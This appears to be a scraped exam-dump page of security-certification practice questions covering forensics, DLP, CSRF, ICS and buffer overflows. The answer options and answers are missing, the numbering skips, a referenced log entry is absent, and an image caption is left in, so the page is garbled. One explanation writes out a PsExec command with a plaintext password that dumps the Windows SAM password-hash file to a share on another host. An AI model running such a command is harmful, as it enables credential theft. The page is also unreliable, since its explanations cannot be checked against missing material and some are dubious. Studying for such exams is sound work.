Question No : 1


A forensic analyst is conducting an investigation on a compromised server
Which of the following should the analyst do first to preserve evidence''

정답:
Explanation:
A forensic analyst is conducting an investigation on a compromised server. The first step that the analyst should do to preserve evidence is to back up all log files and audit trails. This will ensure that the analyst has a copy of the original data that can be used for analysis and verification. Backing up the log files and audit trails will also prevent any tampering or modification of the evidence by the attacker or other parties. The other options are not the first steps or may alter or destroy the evidence.

Question No : 5


Which of the following describes the difference between intentional and unintentional insider threats?

정답:
Explanation:
The difference between intentional and unintentional insider threats is their behavior. Intentional insider threats are malicious actors who deliberately misuse their access to harm the organization or its assets. Unintentional insider threats are careless or negligent users who accidentally compromise the security of the organization or its assets. Their access levels, risk factors, and rates of occurrence may vary depending on various factors, but their behavior is the main distinction.

An organization implemented an extensive firewall access-control blocklist to prevent internal network ranges from communicating with a list of IP addresses of known command-and-control domains A security analyst wants to reduce the load on the firewall.
Which of the following can the analyst implement to achieve similar protection and reduce the load on the firewall?

정답:
Explanation:
DNS sinkholing is a mechanism that can prevent internal network ranges from communicating with a list of IP addresses of known command-and-control domains by returning a false or controlled IP address for those domains. This can reduce the load on the firewall by intercepting the DNS requests before they reach the firewall and diverting them to a sinkhole server. The other options are not relevant or effective for this purpose.

Question No : 8


While reviewing system logs, a network administrator discovers the following entry:



Which of the following occurred?

정답:
Explanation:
The output shows an entry from a system log that indicates a user was trying to download a password file from a remote system using PsExec. PsExec is a command-line tool that allows users to execute processes on remote systems. The entry shows that the user “administrator” tried to run PsExec with the following parameters: \192.168.1.100 -u administrator -p P@ssw0rd -c cmd.exe /c type c:\windows\system32\config\SAM > \192.168.1.101\c$\temp\sam.txt This means that the user tried to connect to the remote system with IP address 192.168.1.100 using the username “administrator” and password “P@ssw0rd”, copy cmd.exe to the remote system, and execute it with the command “type c:\windows\system32\config\SAM > \192.168.1.101\c$\temp\sam.txt”. This command attempts to read the SAM file, which contains hashed passwords of local users, and write it to a file on another system with IP address 192.168.1.101.

Which of the following is the greatest security concern regarding ICS?

정답:
Explanation:
Industrial control systems (ICS) are systems that monitor and control physical processes, such as power generation, water treatment, manufacturing, and transportation. ICS are often critical for public safety and national security, and therefore a prime target for cyberattacks. One of the greatest security concerns regarding ICS is that issues on the systems cannot be reversed without rebuilding the systems. This means that any damage or disruption caused by an attack can have long-lasting and catastrophic consequences for the physical infrastructure and human lives. The other options are not true or not specific to ICS.

Question No : 10


Which of the following is the BEST option to protect a web application against CSRF attacks?

정답:
Explanation:
CSRF tokens are random values that are generated by the server and included in requests that perform state-changing actions. They are used to prevent CSRF attacks by verifying that the request originates from a legitimate source. However, if the CSRF tokens are transmitted using cookies, they are vulnerable to being stolen or forged by an attacker who can exploit other vulnerabilities, such as cross-site scripting (XSS) or cookie injection. Therefore, a better option is to avoid the transmission of CSRF tokens using cookies and use other methods, such as hidden form fields or custom HTTP headers.

Question No : 11


The management team has asked a senior security engineer to explore DLP security solutions for the company's growing use of cloud-based storage.
Which of the following is an appropriate solution to control the sensitive data that is being stored in the cloud?

정답:
Explanation:
A cloud access security broker (CASB) is a security solution that monitors and controls the use of cloud-based services and applications. A CASB can provide data loss prevention (DLP) capabilities for sensitive data that is being stored in the cloud, such as encryption, masking, tokenization, or redaction. A CASB can also enforce policies and compliance requirements for cloud usage, such as authentication, authorization, auditing, and reporting. The other options are not appropriate solutions for controlling sensitive data in the cloud.

Question No : 12


An organization announces that all employees will need to work remotely for an extended period of time. All employees will be provided with a laptop and supported hardware to facilitate this requirement. The organization asks the information security division to reduce the risk during this time.
Which of the following is a technical control that will reduce the risk of data loss if a laptop is lost or stolen?

정답:
Explanation:
Full disk encryption (FDE) is a technical control that encrypts all the data on a disk drive, including the operating system and applications. FDE prevents unauthorized access to the data if the disk drive is lost or stolen, as it requires a password or key to decrypt the data. FDE can be implemented using software or hardware solutions and can protect data at rest on laptops and other devices. The other options are not technical controls or do not reduce the risk of data loss if a laptop is lost or stolen.

表格 描述已自动生成

Which of the following policies does the server violate?

정답:
Explanation:
The server violates the policy of no network access to the internet because it has an established connection to an external IP address (216.58.194.174) on port 443, which is used for HTTPS traffic. This indicates that the server is communicating with a web server on the internet, which is not allowed by the policy. The other policies are not violated because SSH is only used for management of the server (not for accessing other devices), users are utilizing their own accounts (not logging in as an administrator), and unnecessary services are not enabled (only SSH and HTTPS are running).

Question No : 14


While observing several host machines, a security analyst notices a program is overwriting data to a buffer.
Which of the following controls will best mitigate this issue?

정답:
Explanation:
Data execution prevention (DEP) is a security feature that prevents code from being executed in memory regions that are marked as data-only. This helps mitigate buffer overflow attacks, which are a type of attack where a program overwrites data to a buffer beyond its allocated size, potentially allowing malicious code to be executed. DEP can be implemented at the hardware or software level and can prevent unauthorized code execution in memory buffers.

Question No : 15


Members of the sales team are using email to send sensitive client lists with contact information to their personal accounts The company's AUP and code of conduct prohibits this practice.
Which of the following configuration changes would improve security and help prevent this from occurring?

정답:
Explanation:
Data loss prevention (DLP) is a set of policies and tools that aim to prevent unauthorized disclosure of sensitive data. DLP transport rules are rules that apply to email messages that are sent or received by an organization’s mail server. These rules can provide deep content analysis, which means they can scan the content of email messages and attachments for sensitive data patterns, such as client lists or contact information. If a rule detects a violation of the DLP policy, it can take actions such as blocking, quarantining, or notifying the sender or recipient. This would improve security and help prevent sales team members from sending sensitive client lists to their personal accounts.
